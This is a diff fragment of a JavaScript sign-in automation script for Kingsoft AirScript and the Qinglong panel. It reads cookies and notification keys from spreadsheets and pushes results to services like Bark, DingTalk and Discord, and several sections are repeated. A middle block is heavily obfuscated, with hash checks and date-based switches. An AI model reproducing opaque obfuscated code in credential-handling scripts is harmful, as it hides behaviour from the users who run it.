因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + // area = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/one_yan?type=json" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.json() + // console.log(resp) + content = resp["content"] + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let 